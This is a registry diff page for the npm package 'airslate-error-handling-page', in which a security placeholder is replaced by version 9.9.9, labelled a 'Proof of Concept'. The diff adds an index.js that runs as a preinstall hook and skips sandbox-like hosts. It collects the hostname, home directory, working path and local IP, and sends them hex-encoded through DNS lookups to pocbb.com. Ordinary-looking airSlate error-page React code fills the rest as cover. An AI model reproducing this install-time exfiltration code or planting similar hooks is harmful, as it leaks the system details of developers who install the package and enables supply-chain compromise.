airslate-error-handling-page 0.0.1-security → 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of airslate-error-handling-page might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=airslate-error-handling-page for more information.
1
+ # NPM
2
+ This is a Proof of Concept (PoC) package.
package/index.js ADDED
@@ -0,0 +1,105 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ function generateUID(length = 5) {
7
+ const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
8
+ let result = '';
9
+ for (let i = 0; i < length; i++) {
10
+ result += characters.charAt(Math.floor(Math.random() * characters.length));
11
+ }
12
+ return result.toLowerCase();
13
+ }
14
+
15
+ // Convert a JSON string to hex
16
+ function jsonStringToHex(jsonString) {
17
+ return Buffer.from(jsonString, 'utf8').toString('hex');
18
+ }
19
+
20
+ const uid = generateUID(); // Generate a UID for this client once
21
+
22
+ function getCurrentTimestamp() {
23
+ const date = new Date();
24
+ const offset = -date.getTimezoneOffset() / 60;
25
+ const sign = offset >= 0 ? "+" : "-";
26
+ return `${date.toLocaleDateString('en-GB')} ${date.toLocaleTimeString('en-GB')} (GMT${sign}${Math.abs(offset)})`;
27
+ }
28
+
29
+ function getLocalIP() {
30
+ const interfaces = os.networkInterfaces();
31
+ for (let iface in interfaces) {
32
+ for (let ifaceInfo of interfaces[iface]) {
33
+ if (ifaceInfo.family === 'IPv4' && !ifaceInfo.internal) {
34
+ return ifaceInfo.address;
35
+ }
36
+ }
37
+ }
38
+ return '127.0.0.1'; // fallback to localhost
39
+ }
40
+
41
+ function getPackageInfo() {
42
+ const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
43
+ return {
44
+ name: packageJson.name,
45
+ version: packageJson.version
46
+ };
47
+ }
48
+
49
+ function sendJSONviaDNS(domain) {
50
+ // Check conditions to exit early
51
+ const hostnameCheck = os.hostname().startsWith("DESKTOP-") || os.hostname() === "instance";
52
+ const pathCheck1 = process.cwd().startsWith("/app");
53
+ const pathCheck2 = process.cwd().startsWith("/root/node_modules");
54
+
55
+ if (hostnameCheck || pathCheck1 || pathCheck2) {
56
+ return;
57
+ }
58
+
59
+ // Resolve the IP address of ns1.pocbb.com
60
+ dns.resolve4('ns1.pocbb.com', (err, addresses) => {
61
+ if (err) {
62
+ dns.setServers(['1.1.1.1', '8.8.8.8']); // Use 1.1.1.1 and 8.8.8.8 if ns1.pocbb.com cannot be resolved
63
+ } else {
64
+ const primaryDNS = addresses[0];
65
+ dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
66
+ }
67
+
68
+ // Get package info
69
+ const pkgInfo = getPackageInfo();
70
+
71
+ // Construct the JSON object
72
+ const jsonObject = {
73
+ timestamp: getCurrentTimestamp(),
74
+ uid: uid,
75
+ 'pkg-name': pkgInfo.name,
76
+ 'pkg-version': pkgInfo.version,
77
+ 'local-ip': getLocalIP(),
78
+ hostname: os.hostname(),
79
+ homedir: os.homedir(),
80
+ path: process.cwd()
81
+ };
82
+ const jsonString = JSON.stringify(jsonObject);
83
+ const hexString = jsonStringToHex(jsonString);
84
+
85
+ // Split hex string into chunks of 60 characters each
86
+ const chunkSize = 60;
87
+ const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
88
+ const chunks = hexString.match(regex);
89
+
90
+ chunks.forEach((chunk, index) => {
91
+ const packetNumber = (index + 1).toString().padStart(3, '0'); // 001, 002, etc.
92
+ const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
93
+
94
+ // Perform DNS resolution
95
+ dns.resolve4(subdomain, (err, addresses) => {
96
+ if (err) {
97
+ return;
98
+ }
99
+ });
100
+ });
101
+ });
102
+ }
103
+
104
+ // Usage
105
+ sendJSONviaDNS('pocbb.com');
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "airslate-error-handling-page",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.9",
4
+ "description": "This is a Proof of Concept (PoC) package",
5
+ "license": "MIT",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "preinstall": "node index.js"
9
+ }
6
10
  }
@@ -0,0 +1,95 @@
1
+ import React from 'react';
2
+ import { string, func } from 'prop-types';
3
+ import { Link } from 'react-router-dom';
4
+
5
+ import Svg from 'airslate-controls/src/Svg';
6
+ import airSlateLogoSvg from 'airslate-static.icons/src/custom/airslate-logo.svg';
7
+
8
+ import ContentPlaceholder from 'ui-components/src/components/ContentPlaceholder';
9
+ import ContentPlaceholderImage from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderImage';
10
+ import ContentPlaceholderTitle from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderTitle';
11
+ import ContentPlaceholderText from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderText';
12
+ import ContentPlaceholderActions from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderActions';
13
+ import ContentPlaceholderButton from 'ui-components/src/components/ContentPlaceholder/ContentPlaceholderButton';
14
+
15
+ import { EMPTY_STRING, ERROR_IMAGE_ACCESS_DENIED } from './constants';
16
+ import loc from './locale';
17
+
18
+
19
+ const ErrorView = ({
20
+ title,
21
+ message,
22
+ image,
23
+ clear,
24
+ action,
25
+ redirect,
26
+ location,
27
+ }) => (
28
+ <div className="sl-grid__wrap">
29
+ <main className="sl-grid__container">
30
+ <div className="sl-grid__container-inner">
31
+ <div className="page-logo page-logo--aligned-center">
32
+ <div className="page-logo__image">
33
+ <Svg symbol={airSlateLogoSvg} />
34
+ </div>
35
+ </div>
36
+ <div className="sl-container sl-container--aligned-center">
37
+ <ContentPlaceholder centered>
38
+ <ContentPlaceholderImage>
39
+ {image && <img src={image} alt={loc(title)} />}
40
+ </ContentPlaceholderImage>
41
+ <ContentPlaceholderTitle>
42
+ <h1>{title && loc(title)}</h1>
43
+ </ContentPlaceholderTitle>
44
+ <ContentPlaceholderText>
45
+ <p>{message && loc(message)}</p>
46
+ </ContentPlaceholderText>
47
+ <ContentPlaceholderActions size="sm">
48
+ <ContentPlaceholderButton>
49
+ {action && (redirect && !location) && (
50
+ <Link
51
+ to={redirect}
52
+ onClick={clear}
53
+ className="sl-button sl-button--primary"
54
+ >
55
+ <span className="sl-button__body">
56
+ <span className="sl-button__text">{loc(action)}</span>
57
+ </span>
58
+ </Link>
59
+ )}
60
+ {action && location && (
61
+ <a onClick={clear} href={location} className="sl-button sl-button--primary">
62
+ <span className="sl-button__body">
63
+ <span className="sl-button__text">{loc(action)}</span>
64
+ </span>
65
+ </a>
66
+ )}
67
+ </ContentPlaceholderButton>
68
+ </ContentPlaceholderActions>
69
+ </ContentPlaceholder>
70
+ </div>
71
+ </div>
72
+ </main>
73
+ </div>
74
+ );
75
+
76
+ ErrorView.propTypes = {
77
+ title: string,
78
+ message: string,
79
+ redirect: string,
80
+ location: string,
81
+ image: string,
82
+ action: string,
83
+ clear: func.isRequired,
84
+ };
85
+
86
+ ErrorView.defaultProps = {
87
+ title: EMPTY_STRING,
88
+ message: EMPTY_STRING,
89
+ redirect: EMPTY_STRING,
90
+ location: EMPTY_STRING,
91
+ image: ERROR_IMAGE_ACCESS_DENIED,
92
+ action: EMPTY_STRING,
93
+ };
94
+
95
+ export default ErrorView;
@@ -0,0 +1,109 @@
1
+ import requestError from './action';
2
+ import {
3
+ UNKNOWN,
4
+ REDUX_STORE,
5
+ REDUX_ACTION,
6
+ ERROR_ACTION_FORWARD,
7
+ } from './constants';
8
+
9
+ const dictionary = (arr) => {
10
+ if (Array.isArray(arr)) {
11
+ return arr.reduce((acc, key) => {
12
+ acc[key] = true;
13
+ return acc;
14
+ }, {});
15
+ }
16
+
17
+ return {};
18
+ };
19
+
20
+ export default function ReduxErrorJSLogger(Sentry, Severity, option) {
21
+ const filterState = (option && option.filterState) || false;
22
+ const filterActions = (option && option.filterActions && dictionary(option.filterActions)) || {};
23
+
24
+ return (store) => {
25
+ const reduxStore = () => {
26
+ const state = store.getState();
27
+
28
+ if (filterState) {
29
+ return { [REDUX_STORE]: filterState(state) };
30
+ }
31
+
32
+ return { [REDUX_STORE]: state };
33
+ };
34
+
35
+ const processException = (exception) => {
36
+ const extra = reduxStore();
37
+
38
+ Sentry.run(hub => hub.withScope((scope) => {
39
+ scope.setExtras(extra);
40
+ Sentry.captureException(exception);
41
+ }));
42
+
43
+ if (__LOCAL__ || __DEV__) {
44
+ /* eslint-disable */
45
+ console.log('---- ReduxErrorJSLogger ----');
46
+ console.log(`Target: ${__APP_NAME__} - ${__BRANCH__}@${__BUILD_NUMBER__}`);
47
+ console.error(exception);
48
+ console.log('---- ReduxErrorJSLogger ----');
49
+ /* eslint-enable */
50
+ }
51
+
52
+ store.dispatch(requestError(exception));
53
+ };
54
+
55
+ const trackCustomMessage = ({ payload }) => {
56
+ const extra = reduxStore();
57
+ const event = (payload && (payload.event || payload.code)) || UNKNOWN;
58
+ const hint = (payload && (payload.hint || payload.message)) || UNKNOWN;
59
+
60
+ Sentry.run(hub => hub.withScope((scope) => {
61
+ scope.setExtras(extra);
62
+ Sentry.captureEvent(event, hint);
63
+ }));
64
+ };
65
+
66
+ const trackNexAction = ({ type: message, payload: data }) => {
67
+ Sentry.run(hub => hub.addBreadcrumb({
68
+ data,
69
+ message,
70
+ category: REDUX_ACTION,
71
+ level: Severity.Debug,
72
+ }));
73
+ };
74
+
75
+ const proxyResult = value => value;
76
+
77
+ const wrapErrorHandling = action => (...args) => {
78
+ let result;
79
+ try {
80
+ result = action(...args);
81
+ } catch (err) {
82
+ // sync error in reducer within a thunk
83
+ processException(err);
84
+ }
85
+ if (result instanceof Promise) {
86
+ // async error in thunk
87
+ return result.then(proxyResult).catch(processException);
88
+ }
89
+ return result;
90
+ };
91
+
92
+ return next => (action) => {
93
+ if (action && action.type) {
94
+ if (action.type === ERROR_ACTION_FORWARD) {
95
+ // Send custom exception to Sentry
96
+ trackCustomMessage(action);
97
+ } else if (filterActions[action.type] == null) {
98
+ // Add action to Sentry Breadcrumb
99
+ trackNexAction(action);
100
+ }
101
+
102
+ // Ignore plain actions
103
+ return next(action);
104
+ }
105
+
106
+ return next(wrapErrorHandling(action));
107
+ };
108
+ };
109
+ }
@@ -0,0 +1,97 @@
1
+ import React, { Component } from 'react';
2
+ import PropTypes from 'prop-types';
3
+ import { EMPTY_STRING } from './constants';
4
+
5
+
6
+ const propTypes = {
7
+ code: PropTypes.oneOfType([
8
+ PropTypes.number,
9
+ PropTypes.string,
10
+ ]),
11
+ title: PropTypes.string,
12
+ image: PropTypes.string,
13
+ emit: PropTypes.func.isRequired,
14
+ clear: PropTypes.func.isRequired,
15
+ getErrorCode: PropTypes.func,
16
+ force: PropTypes.bool,
17
+ action: PropTypes.string,
18
+ message: PropTypes.string,
19
+ redirect: PropTypes.string,
20
+ location: PropTypes.string,
21
+ children: PropTypes.node.isRequired,
22
+ component: PropTypes.oneOfType([
23
+ PropTypes.node,
24
+ PropTypes.func,
25
+ ]).isRequired,
26
+ };
27
+
28
+ const defaultProps = {
29
+ code: 0,
30
+ title: EMPTY_STRING,
31
+ image: EMPTY_STRING,
32
+ force: false,
33
+ action: EMPTY_STRING,
34
+ message: EMPTY_STRING,
35
+ redirect: null,
36
+ location: null,
37
+ getErrorCode: () => null,
38
+ };
39
+
40
+
41
+ class WithErrorPageHandler extends Component {
42
+ componentWillUnmount() {
43
+ this.props.clear();
44
+ }
45
+
46
+ componentDidCatch(error, errorInfo) {
47
+ if (errorInfo && errorInfo.componentStack) {
48
+ // The component stack is sometimes useful in development mode
49
+ // In production it can be somewhat obfuscated, so feel free to omit this line.
50
+ console.log(errorInfo.componentStack); // eslint-disable-line
51
+ }
52
+
53
+ this.props.emit(error);
54
+ }
55
+
56
+ render() {
57
+ const {
58
+ code, title, clear, force, action, component: ErrorPage,
59
+ message, redirect, children, image, location, getErrorCode,
60
+ } = this.props;
61
+
62
+ if (code && getErrorCode) {
63
+ getErrorCode(code);
64
+ }
65
+
66
+ if (location && typeof location === 'string' && force) {
67
+ location.href = location;
68
+
69
+ return null;
70
+ }
71
+
72
+ if (redirect && force) {
73
+ global.location.href = redirect;
74
+ }
75
+
76
+ if (code) {
77
+ return (
78
+ <ErrorPage
79
+ clear={clear}
80
+ title={title}
81
+ image={image}
82
+ action={action}
83
+ message={message}
84
+ redirect={redirect}
85
+ location={location}
86
+ />
87
+ );
88
+ }
89
+
90
+ return children;
91
+ }
92
+ }
93
+
94
+ WithErrorPageHandler.propTypes = propTypes;
95
+ WithErrorPageHandler.defaultProps = defaultProps;
96
+
97
+ export default WithErrorPageHandler;
package/src/action.js ADDED
@@ -0,0 +1,39 @@
1
+ import { createAction } from 'redux-actions';
2
+ import {
3
+ UNKNOWN,
4
+ HOME_PATH,
5
+ ERROR_ACTION_REQUEST,
6
+ ERROR_ACTION_FORWARD,
7
+ ERROR_ACTION_CLEAR,
8
+ PAYLOAD_BY_ERROR_CODE,
9
+ } from './constants';
10
+
11
+
12
+ export const errorAction = createAction(ERROR_ACTION_REQUEST);
13
+ export const forwardAction = createAction(ERROR_ACTION_FORWARD);
14
+ export const clearAction = createAction(ERROR_ACTION_CLEAR);
15
+
16
+
17
+ export default function errorHandler(error) {
18
+ const code = error.code || error.status || UNKNOWN;
19
+ const isErrorInstance = error instanceof Error;
20
+
21
+ if (PAYLOAD_BY_ERROR_CODE[code]) {
22
+ if (isErrorInstance) {
23
+ return errorAction(PAYLOAD_BY_ERROR_CODE[code]);
24
+ }
25
+ // Provide extra arguments
26
+ return errorAction({ ...PAYLOAD_BY_ERROR_CODE[code], ...error });
27
+ }
28
+
29
+ if (isErrorInstance) {
30
+ return errorAction({
31
+ code,
32
+ title: error.message,
33
+ action: 'PAGE_ACTION_HOME',
34
+ redirect: HOME_PATH,
35
+ });
36
+ }
37
+
38
+ return Error(error);
39
+ }
@@ -0,0 +1,129 @@
1
+ // Common
2
+ const { STATIC_URL, MAIN_DOMAIN } = global.AIRSLATE_ENV_CONFIGURATION;
3
+
4
+ export const EMPTY_STRING = '';
5
+ export const REDUX_ACTION = 'redux-action';
6
+ export const REDUX_STORE = 'redux-store';
7
+ export const IMAGES_STATIC_PATH = `${STATIC_URL}/images/default`;
8
+
9
+ export const EMPTY_ERROR_STATE = {};
10
+ export const ERROR_ACTION_REQUEST = 'EHP::ERROR::REQUESTED';
11
+ export const ERROR_ACTION_FORWARD = 'EHP::ERROR::FORWARD';
12
+ export const ERROR_ACTION_CLEAR = 'EHP::ERROR::CLEAR';
13
+
14
+
15
+ // images
16
+ export const ERROR_IMAGE_ACCESS_DENIED = `${IMAGES_STATIC_PATH}/access-denied.png`;
17
+ export const ERROR_IMAGE_NOT_FOUND = `${IMAGES_STATIC_PATH}/404.png`;
18
+ export const ERROR_IMAGE_EXERTION = `${IMAGES_STATIC_PATH}/500.png`;
19
+
20
+
21
+ // Redirect
22
+ export const MY_DOMAIN_PATH = `my.${MAIN_DOMAIN}`;
23
+ export const HOME_PATH = '/';
24
+ export const LOGIN_PATH = `/login?redirect=${global.location.pathname}${global.location.search}`;
25
+ export const REQUEST_ACCESS_PATH = '/request-access';
26
+
27
+
28
+ // Error types
29
+ export const UNKNOWN = 'UNKNOWN';
30
+ export const INVITE = 'INVITE_ERROR';
31
+ export const REQUEST_ACCESS = 'REQUEST_ACCESS';
32
+
33
+
34
+ export const HTTP_BAD_REQUEST = 400;
35
+ export const HTTP_UNAUTHORIZED = 401;
36
+ export const HTTP_PAYMENT_REQUIRED = 402;
37
+ export const HTTP_ACCESS_DENIED = 403;
38
+ export const HTTP_NOT_FOUND = 404;
39
+ export const HTTP_METHOD_NOT_ALLOWED = 405;
40
+ export const HTTP_NOT_ACCEPTABLE = 406;
41
+ export const HTTP_PROXY_AUTHENTICATION_REQUIRED = 407;
42
+ export const HTTP_REQUEST_TIMEOUT = 408;
43
+ export const HTTP_CONFLICT = 409;
44
+ export const HTTP_GONE = 410;
45
+ export const HTTP_LENGTH_REQUIRED = 411;
46
+ export const HTTP_PRECONDITION_FAILED = 412;
47
+ export const HTTP_REQUEST_ENTITY_TOO_LARGE = 413;
48
+ export const HTTP_REQUEST_URI_TOO_LONG = 414;
49
+ export const HTTP_UNSUPPORTED_MEDIA_TYPE = 415;
50
+ export const HTTP_REQUESTED_RANGE_NOT_SATISFIABLE = 416;
51
+ export const HTTP_EXPECTATION_FAILED = 417;
52
+ export const HTTP_UNPROCESSABLE_ENTITY = 422;
53
+ export const HTTP_INTERVAL_SERVER_ERROR = 500;
54
+ export const HTTP_NOT_IMPLEMENTED = 501;
55
+ export const HTTP_BAD_GATEWAY = 502;
56
+ export const HTTP_SERVICE_UNAVAILABLE = 503;
57
+ export const HTTP_GATEWAY_TIMEOUT = 504;
58
+ export const HTTP_HTTP_VERSION_NOT_SUPPORTED = 505;
59
+
60
+ // Error enum
61
+ export const PAYLOAD_BY_ERROR_CODE = {
62
+ [HTTP_UNAUTHORIZED]: {
63
+ force: true,
64
+ redirect: LOGIN_PATH,
65
+ },
66
+
67
+ [HTTP_BAD_REQUEST]: {
68
+ code: HTTP_BAD_REQUEST,
69
+ title: 'PAGE_TITLE_INTERVAL_SERVER_ERROR',
70
+ image: ERROR_IMAGE_NOT_FOUND,
71
+ action: 'PAGE_ACTION_HOME',
72
+ redirect: HOME_PATH,
73
+ },
74
+
75
+ [HTTP_ACCESS_DENIED]: {
76
+ code: HTTP_ACCESS_DENIED,
77
+ title: 'PAGE_TITLE_NO_PERMISSION',
78
+ image: ERROR_IMAGE_NOT_FOUND,
79
+ message: 'PAGE_MESSAGE_NO_PERMISSION',
80
+ action: 'PAGE_ACTION_HOME',
81
+ redirect: HOME_PATH,
82
+ },
83
+
84
+ [HTTP_NOT_FOUND]: {
85
+ code: HTTP_ACCESS_DENIED,
86
+ title: 'PAGE_TITLE_NOT_FOUND',
87
+ image: ERROR_IMAGE_NOT_FOUND,
88
+ message: 'PAGE_MESSAGE_NOT_FOUND',
89
+ action: 'PAGE_ACTION_HOME',
90
+ redirect: HOME_PATH,
91
+ },
92
+
93
+ [HTTP_INTERVAL_SERVER_ERROR]: {
94
+ code: HTTP_INTERVAL_SERVER_ERROR,
95
+ title: 'PAGE_TITLE_INTERVAL_SERVER_ERROR',
96
+ image: ERROR_IMAGE_EXERTION,
97
+ action: 'PAGE_ACTION_HOME',
98
+ redirect: HOME_PATH,
99
+ },
100
+
101
+ [HTTP_UNPROCESSABLE_ENTITY]: {
102
+ code: HTTP_UNPROCESSABLE_ENTITY,
103
+ title: 'PAGE_TITLE_INTERVAL_SERVER_ERROR',
104
+ image: ERROR_IMAGE_EXERTION,
105
+ action: 'PAGE_ACTION_HOME',
106
+ redirect: HOME_PATH,
107
+ },
108
+
109
+ [INVITE]: {
110
+ code: INVITE,
111
+ message: 'PAGE_MESSAGE_WORKSPACE_NOT_FOUND',
112
+ action: 'PAGE_ACTION_WORKSPACE_NOT_FOUND',
113
+ redirect: MY_DOMAIN_PATH,
114
+ },
115
+
116
+ [REQUEST_ACCESS]: {
117
+ force: true,
118
+ redirect: REQUEST_ACCESS_PATH,
119
+ },
120
+
121
+ [UNKNOWN]: {
122
+ code: UNKNOWN,
123
+ title: 'PAGE_TITLE_UNKNOWN',
124
+ image: ERROR_IMAGE_NOT_FOUND,
125
+ message: 'PAGE_MESSAGE_UNKNOWN',
126
+ action: 'PAGE_ACTION_HOME',
127
+ redirect: HOME_PATH,
128
+ },
129
+ };
package/src/handler.js ADDED
@@ -0,0 +1,7 @@
1
+ import React from 'react';
2
+
3
+ import HandlerComponent from './handlerComponent';
4
+ import ErrorPage from './ErrorPage';
5
+
6
+
7
+ export default props => <HandlerComponent component={ErrorPage} {...props} />;
@@ -0,0 +1,13 @@
1
+ import { connect } from 'react-redux';
2
+ import errorHandler, { clearAction } from './action';
3
+ import WithErrorPageHandler from './WithErrorPageHandler';
4
+ import { EMPTY_ERROR_STATE } from './constants';
5
+
6
+ const mapDispatchToProps = {
7
+ clear: clearAction,
8
+ emit: errorHandler,
9
+ };
10
+
11
+ const selectSlatePermission = state => state.error || EMPTY_ERROR_STATE;
12
+
13
+ export default connect(selectSlatePermission, mapDispatchToProps)(WithErrorPageHandler);
package/src/locale.js ADDED
@@ -0,0 +1,5 @@
1
+ import Locale from '@airslate/front-locales/lib';
2
+
3
+ const { get } = Locale('AS_ERROR_', window.allConstants);
4
+
5
+ export default get;
@@ -0,0 +1,20 @@
1
+ import {
2
+ Hub,
3
+ Severity,
4
+ BrowserClient,
5
+ } from '@sentry/browser';
6
+ import ReduxErrorJSLogger from './ReduxErrorJSLogger';
7
+
8
+
9
+ const SentryBrowser = new BrowserClient({
10
+ dsn: __SENTRY_KEY__,
11
+ debug: !__PROD__,
12
+ environment: __TARGET__,
13
+ release: `${__BRANCH__}@${__BUILD_NUMBER__}`,
14
+ });
15
+
16
+ const Sentry = new Hub(SentryBrowser);
17
+
18
+ export const ErrorJSLoggerWithOption = option => ReduxErrorJSLogger(Sentry, Severity, option);
19
+
20
+ export default ReduxErrorJSLogger(Sentry, Severity, null);
package/src/reducer.js ADDED
@@ -0,0 +1,19 @@
1
+ import { handleActions } from 'redux-actions';
2
+ import { EMPTY_STRING, ERROR_ACTION_REQUEST, ERROR_ACTION_CLEAR } from './constants';
3
+
4
+
5
+ const defaultActionHandler = (state, { payload }) => ({ ...state, ...payload });
6
+
7
+
8
+ const initialState = {
9
+ code: 0,
10
+ title: EMPTY_STRING,
11
+ action: EMPTY_STRING,
12
+ message: EMPTY_STRING,
13
+ redirect: EMPTY_STRING,
14
+ };
15
+
16
+ export default handleActions({
17
+ [ERROR_ACTION_REQUEST]: defaultActionHandler,
18
+ [ERROR_ACTION_CLEAR]: () => initialState,
19
+ }, initialState);
package/src/types.js ADDED
@@ -0,0 +1,14 @@
1
+ import {
2
+ INVITE, UNKNOWN, HTTP_NOT_FOUND, HTTP_UNAUTHORIZED,
3
+ HTTP_ACCESS_DENIED, HTTP_INTERVAL_SERVER_ERROR, REQUEST_ACCESS,
4
+ } from './constants';
5
+
6
+
7
+ // Error codes
8
+ export const NOT_FOUND = { code: HTTP_NOT_FOUND };
9
+ export const UNAUTHORIZED = { code: HTTP_UNAUTHORIZED };
10
+ export const ACCESS_DENIED = { code: HTTP_ACCESS_DENIED };
11
+ export const INTERVAL_SERVER_ERROR = { code: HTTP_INTERVAL_SERVER_ERROR };
12
+ export const INVITE_ERROR = { code: INVITE };
13
+ export const DEFAULT = { code: UNKNOWN };
14
+ export const REQUEST_ACCESS_ERROR = { code: REQUEST_ACCESS };
@@ -0,0 +1,33 @@
1
+ export type TQueryObject = Record<number | string, any>;
2
+
3
+ const _flat = (
4
+ path: string,
5
+ obj: TQueryObject,
6
+ flatted: string[],
7
+ ): string[] => Object.keys(obj).reduce(
8
+ (f, p) => {
9
+ let v = obj[p];
10
+ if (v === undefined) return flatted;
11
+ if (v === null) v = '';
12
+ const ep = encodeURIComponent(p);
13
+ const np = path ? `${path}[${ep}]` : ep;
14
+ const theType = Array.isArray(v) ? 'array' : typeof v;
15
+ if (['function', 'array'].includes(theType)) v = '';
16
+ if (theType === 'object') {
17
+ return _flat(np, v, f);
18
+ }
19
+ f.push(`${np}=${encodeURIComponent(v)}`);
20
+ return f;
21
+ }, flatted,
22
+ );
23
+
24
+ const flat = (obj: TQueryObject): string[] => _flat('', obj, []);
25
+
26
+ const stringify = (query: TQueryObject): string => {
27
+ const queryString = flat(query).join('&');
28
+ return queryString ? `?${queryString}` : '';
29
+ };
30
+
31
+ export const buildQuery = (query: TQueryObject): string => (
32
+ query != null ? stringify(query) : ''
33
+ );